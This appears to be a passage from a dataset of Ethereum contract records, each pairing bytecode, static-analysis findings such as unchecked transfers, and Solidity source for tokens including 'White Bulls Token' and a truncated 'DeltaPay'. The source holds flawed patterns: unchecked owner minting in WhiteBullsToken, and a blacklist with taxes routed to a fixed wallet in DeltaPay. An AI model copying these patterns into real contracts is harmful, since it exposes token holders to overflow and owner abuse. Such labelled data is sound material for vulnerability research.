a060020a031633145b151561070e57600080fd5b600755565b60045481565b60016020526000908152604090205460ff1681565b6002546101009004600160a060020a031681565b600354600160a060020a031681565b6003546002546040805160e060020a6370a082310281523060048201529051600093600160a060020a03908116936349f9b0f793610100909104909116916370a082319160248082019260209290919082900301818987803b1580156107b657600080fd5b505af11580156107ca573d6000803e3d6000fd5b505050506040513d60208110156107e057600080fd5b5051600480546002546040805160e060020a6318160ddd02815290519293610100909204600160a060020a0316926318160ddd928281019260209291908290030181600087803b15801561083357600080fd5b505af1158015610847573d6000803e3d6000fd5b505050506040513d602081101561085d57600080fd5b50516006546003546040805163ffffffff88811660e060020a028252959094039590950360048401523031909101602483015260a060020a9004909116604482015260648101889052905160848083019260209291908290030181600087803b1580156108c957600080fd5b505af11580156108dd573d6000803e3d6000fd5b505050506040513d60208110156108f357600080fd5b5051600354909150620f42409060c060020a900463ffffffff1682026002549190049091039060ff16151561092757600080fd5b8281101561093457600080fd5b303181111561094257600080fd5b60075430318290031161095457600080fd5b600254604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152306024830152604482018890529151610100909304909116916323b872dd916064808201926020929091908290030181600087803b1580156109cf57600080fd5b505af11580156109e3573d6000803e3d6000fd5b505050506040513d60208110156109f957600080fd5b50511515610a0657600080fd5b600354620f42409060c060020a900463ffffffff1682026005805492909104909101905560408051858152602081018390528151600160a060020a038516927fed7a144fad14804d5c249145e3e0e2b63a9eb455b76aee5bc92d711e9bba3e4a928290030190a2604051600160a060020a0383169082156108fc029083906000818181858888f19350505050158015610669573d6000803e3d6000fd5b3360009081526001602052604090205460ff1680610acb5750600054600160a060020a031633145b1515610ad657600080fd5b60008110158015610aea5750620f42408111155b1515610af557600080fd5b6003805463ffffffff90921660c060020a027fffffffff00000000ffffffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b6002546040805160e060020a6370a0823102815230600482015290516000928392610100909104600160a060020a0316916370a082319160248082019260209290919082900301818787803b158015610b8b57600080fd5b505af1158015610b9f573d6000803e3d6000fd5b505050506040513d6020811015610bb557600080fd5b505160065490925030310190509091565b60065481565b61066984600087610751565b60055481565b600054600160a060020a03163314610bf557600080fd5b565b60035460a060020a900463ffffffff1681565b3360009081526001602052604090205460ff1680610c325750600054600160a060020a031633145b1515610c3d57600080fd5b6002805460ff19166001179055565b600054600160a060020a03163314610c6357600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b3360009081526001602052604090205460ff1680610cba5750600054600160a060020a031633145b1515610cc557600080fd5b6005548111156106aa57600080fd5b3360009081526001602052604090205460ff1680610cfc5750600054600160a060020a031633145b1515610d0757600080fd5b600655565b6003546002546040805160e060020a6370a0823102815230600482015290516000938493600160a060020a03918216936329a00e7c93610100909204909216916370a0823191602480830192602092919082900301818987803b158015610d7257600080fd5b505af1158015610d86573d6000803e3d6000fd5b505050506040513d6020811015610d9c57600080fd5b5051600480546002546040805160e060020a6318160ddd02815290519293610100909204600160a060020a0316926318160ddd928281019260209291908290030181600087803b158015610def57600080fd5b505af1158015610e03573d6000803e3d6000fd5b505050506040513d6020811015610e1957600080fd5b50516006546003546040805163ffffffff88811660e060020a028252959094039590950360048401523031909101602483015260a060020a9004909116604482015260648101879052905160848083019260209291908290030181600087803b158015610e8557600080fd5b505af1158015610e99573d6000803e3d6000fd5b505050506040513d6020811015610eaf57600080fd5b5051600354909150620f42409060c060020a900463ffffffff1682026002546040805160e060020a6370a08231028152306004820152905193909204909303926101009004600160a060020a0316916370a08231916024808201926020929091908290030181600087803b158015610f2657600080fd5b505af1158015610f3a573d6000803e3d6000fd5b505050506040513d6020811015610f5057600080fd5b5051811115610fe0576002546040805160e060020a6370a082310281523060048201529051610100909204600160a060020a0316916370a08231916024808201926020929091908290030181600087803b158015610fad57600080fd5b505af1158015610fc1573d6000803e3d6000fd5b505050506040513d6020811015610fd757600080fd5b50519150610fe4565b8091505b50919050565b6003546002546040805160e060020a6370a082310281523060048201529051600093600160a060020a03908116936349f9b0f793610100909104909116916370a082319160248082019260209290919082900301818987803b15801561104f57600080fd5b505af1158015611063573d6000803e3d6000fd5b505050506040513d602081101561107957600080fd5b5051600480546002546040805160e060020a6318160ddd02815290519293610100909204600160a060020a0316926318160ddd928281019260209291908290030181600087803b1580156110cc57600080fd5b505af11580156110e0573d6000803e3d6000fd5b505050506040513d60208110156110f657600080fd5b50516006546003546040805163ffffffff88811660e060020a028252959094039590950360048401523031909101602483015260a060020a9004909116604482015260648101879052905160848083019260209291908290030181600087803b15801561116257600080fd5b505af1158015611176573d6000803e3d6000fd5b505050506040513d602081101561118c57600080fd5b5051600354909150620f42409060c060020a900463ffffffff1682026002549190049091039060ff1615156111c057600080fd5b818110156111cd57600080fd5b30318111156111db57600080fd5b6007543031829003116111ed57600080fd5b600254604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018690529051610100909204600160a060020a0316916323b872dd916064808201926020929091908290030181600087803b15801561126457600080fd5b505af1158015611278573d6000803e3d6000fd5b505050506040513d602081101561128e57600080fd5b5051151561129b57600080fd5b600354620f42409060c060020a900463ffffffff168202600580549290910490910190556040805184815260208101839052815133927fed7a144fad14804d5c249145e3e0e2b63a9eb455b76aee5bc92d711e9bba3e4a928290030190a2604051339082156108fc029083906000818181858888f19350505050158015611326573d6000803e3d6000fd5b50505050565b6003546002546040805160e060020a6370a082310281523060048201529051600093600160a060020a03908116936329a00e7c93610100909104909116916370a082319160248082019260209290919082900301818987803b15801561139157600080fd5b505af11580156113a5573d6000803e3d6000fd5b505050506040513d60208110156113bb57600080fd5b5051600480546002546040805160e060020a6318160ddd02815290519293610100909204600160a060020a0316926318160ddd928281019260209291908290030181600087803b15801561140e57600080fd5b505af1158015611422573d6000803e3d6000fd5b505050506040513d602081101561143857600080fd5b50516006546003546040805163ffffffff88811660e060020a02825295909403959095036004840152343031909201829003602484015260a060020a900490921660448201526064810191909152905160848083019260209291908290030181600087803b1580156114a957600080fd5b505af11580156114bd573d6000803e3d6000fd5b505050506040513d60208110156114d357600080fd5b5051600354909150620f42409060c060020a900463ffffffff1682026002549190049091039060ff16151561150757600080fd5b8181101561151457600080fd5b6002546040805160e060020a6370a08231028152306004820152905183926101009004600160a060020a0316916370a082319160248083019260209291908290030181600087803b15801561156857600080fd5b505af115801561157c573d6000803e3d6000fd5b505050506040513d602081101561159257600080fd5b5051101561159f57600080fd5b600354620f42409060c060020a900463ffffffff163402600580549290910490910190556040805134815260208101839052815133927f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed928290030190a2600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018490529051610100909204600160a060020a03169163a9059cbb9160448082019260009290919082900301818387803b15801561166d57600080fd5b505af1158015611681573d6000803e3d6000fd5b505050505050565b600054600160a060020a031633146116a057600080fd5b600254604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018490529051610100909204600160a060020a0316916323b872dd916064808201926020929091908290030181600087803b15801561171757600080fd5b505af115801561172b573d6000803e3d6000fd5b505050506040513d602081101561174157600080fd5b505050565b60035460c060020a900463ffffffff1681565b3360009081526001602052604090205460ff16806117815750600054600160a060020a031633145b151561178c57600080fd5b60008111801561179f5750620f42408111155b15156117aa57600080fd5b6003805463ffffffff90921660a060020a0277ffffffff000000000000000000000000000000000000000019909216919091179055565b6003546002546040805160e060020a6370a0823102815230600482015290516000938493600160a060020a03918216936349f9b0f793610100909204909216916370a0823191602480830192602092919082900301818987803b15801561184757600080fd5b505af115801561185b573d6000803e3d6000fd5b505050506040513d602081101561187157600080fd5b5051600480546002546040805160e060020a6318160ddd02815290519293610100909204600160a060020a0316926318160ddd928281019260209291908290030181600087803b1580156118c457600080fd5b505af11580156118d8573d6000803e3d6000fd5b505050506040513d60208110156118ee57600080fd5b50516006546003546040805163ffffffff88811660e060020a028252959094039590950360048401523031909101602483015260a060020a9004909116604482015260648101879052905160848083019260209291908290030181600087803b15801561195a57600080fd5b505af115801561196e573d6000803e3d6000fd5b505050506040513d602081101561198457600080fd5b5051600354909150620f42409060c060020a900463ffffffff1682020490033031811115610fe05730319150610fe4565b600054600160a060020a031633146119cc57600080fd5b600160a060020a03166000908152600160205260409020805460ff19169055565b600160a060020a03166000908152600160208190526040909120805460ff191690911790555600a165627a7a7230582033a276fc428ce17806e3bb798c15456613f4aa5b54fc64baf6cf802b7121a48a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,720 |
0xb6bc3113092c6b778efa8d65539a71d75a321cd8
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract WhiteBullsToken is BurnableToken, HasNoEther {
string public constant name = "White Bulls Token";
string public constant symbol = "WBCC";
uint8 public constant decimals = 18;
uint256 constant INITIAL_SUPPLY = 10000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function WhiteBullsToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(address(0), msg.sender, totalSupply);
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function multiTransfer(address[] recipients, uint256[] amounts) public {
require(recipients.length == amounts.length);
for (uint i = 0; i < recipients.length; i++) {
transfer(recipients[i], amounts[i]);
}
}
/**
* @dev Create `mintedAmount` tokens
* @param mintedAmount The amount of tokens it will minted
**/
function mintToken(uint256 mintedAmount) public onlyOwner {
totalSupply += mintedAmount;
balances[owner] += mintedAmount;
Transfer(address(0), owner, mintedAmount);
}
}
|
0x6060604052600436106100f05763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100fd578063095ea7b31461018757806318160ddd146101bd5780631e89d545146101e257806323b872dd14610271578063313ce5671461029957806342966c68146102c257806366188463146102d857806370a08231146102fa5780638da5cb5b1461031957806395d89b41146103485780639f727c271461035b578063a9059cbb1461036e578063c634d03214610390578063d73dd623146103a6578063dd62ed3e146103c8578063f2fde38b146103ed575b34156100fb57600080fd5b005b341561010857600080fd5b61011061040c565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014c578082015183820152602001610134565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019257600080fd5b6101a9600160a060020a0360043516602435610443565b604051901515815260200160405180910390f35b34156101c857600080fd5b6101d06104af565b60405190815260200160405180910390f35b34156101ed57600080fd5b6100fb6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506104b595505050505050565b341561027c57600080fd5b6101a9600160a060020a0360043581169060243516604435610514565b34156102a457600080fd5b6102ac610529565b60405160ff909116815260200160405180910390f35b34156102cd57600080fd5b6100fb60043561052e565b34156102e357600080fd5b6101a9600160a060020a03600435166024356105f7565b341561030557600080fd5b6101d0600160a060020a03600435166106f1565b341561032457600080fd5b61032c61070c565b604051600160a060020a03909116815260200160405180910390f35b341561035357600080fd5b61011061071b565b341561036657600080fd5b6100fb610752565b341561037957600080fd5b6101a9600160a060020a03600435166024356107a5565b341561039b57600080fd5b6100fb6004356107b8565b34156103b157600080fd5b6101a9600160a060020a0360043516602435610837565b34156103d357600080fd5b6101d0600160a060020a03600435811690602435166108db565b34156103f857600080fd5b6100fb600160a060020a0360043516610906565b60408051908101604052601181527f57686974652042756c6c7320546f6b656e000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600081518351146104c557600080fd5b5060005b825181101561050f576105068382815181106104e157fe5b906020019060200201518383815181106104f757fe5b906020019060200201516107a5565b506001016104c9565b505050565b60006105218484846109a1565b949350505050565b601281565b600080821161053c57600080fd5b600160a060020a03331660009081526001602052604090205482111561056157600080fd5b5033600160a060020a0381166000908152600160205260409020546105869083610b23565b600160a060020a038216600090815260016020526040812091909155546105b3908363ffffffff610b2316565b600055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561065457600160a060020a03338116600090815260026020908152604080832093881683529290529081205561068b565b610664818463ffffffff610b2316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051908101604052600481527f5742434300000000000000000000000000000000000000000000000000000000602082015281565b60035433600160a060020a0390811691161461076d57600080fd5b600354600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156107a357fe5b565b60006107b18383610b35565b9392505050565b60035433600160a060020a039081169116146107d357600080fd5b600080548201815560038054600160a060020a0390811683526001602052604080842080548601905591541691907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a350565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461086f908363ffffffff610c3016565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461092157600080fd5b600160a060020a038116151561093657600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a03831615156109b857600080fd5b600160a060020a0384166000908152600160205260409020548211156109dd57600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610a1057600080fd5b600160a060020a038416600090815260016020526040902054610a39908363ffffffff610b2316565b600160a060020a038086166000908152600160205260408082209390935590851681522054610a6e908363ffffffff610c3016565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610ab6908363ffffffff610b2316565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600082821115610b2f57fe5b50900390565b6000600160a060020a0383161515610b4c57600080fd5b600160a060020a033316600090815260016020526040902054821115610b7157600080fd5b600160a060020a033316600090815260016020526040902054610b9a908363ffffffff610b2316565b600160a060020a033381166000908152600160205260408082209390935590851681522054610bcf908363ffffffff610c3016565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000828201838110156107b157fe00a165627a7a723058205801dcd07474799765283b0d5513be159d1b65ea7d226d699d474dca94eb1ab20029
|
{"success": true, "error": null, "results": {}}
| 8,721 |
0x213d29f8da0607ead82dcc5996107c90c6e84618
|
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
/*
/$$$$$$$ /$$ /$$ /$$$$$$$
| $$__ $$ | $$ | $$ | $$__ $$
| $$ \ $$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$ /$$
| $$ | $$ /$$__ $$| $$|_ $$_/ |____ $$| $$$$$$$/|____ $$| $$ | $$
| $$ | $$| $$$$$$$$| $$ | $$ /$$$$$$$| $$____/ /$$$$$$$| $$ | $$
| $$ | $$| $$_____/| $$ | $$ /$$ /$$__ $$| $$ /$$__ $$| $$ | $$
| $$$$$$$/| $$$$$$$| $$ | $$$$/| $$$$$$$| $$ | $$$$$$$| $$$$$$$
|_______/ \_______/|__/ \___/ \_______/|__/ \_______/ \____ $$
/$$ | $$
| $$$$$$/
\______/
Telegram:
https://t.me/deltapay
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DeltaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Delta Pay";
string private constant _symbol = "DeltaPay";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 0;
uint256 private _taxFeeJeets = 7;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 7;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 7;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 0;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xf4Cdb03Fa34027152a72626d75f41758F98E6540);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 11 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e8 * 10**9;
uint256 public _maxWalletSize = 2e8 * 10**9;
uint256 public _swapTokensAtAmount = 1001 * 10**9;
uint256 public _minimumBuyAmount = 2e8 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0));
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
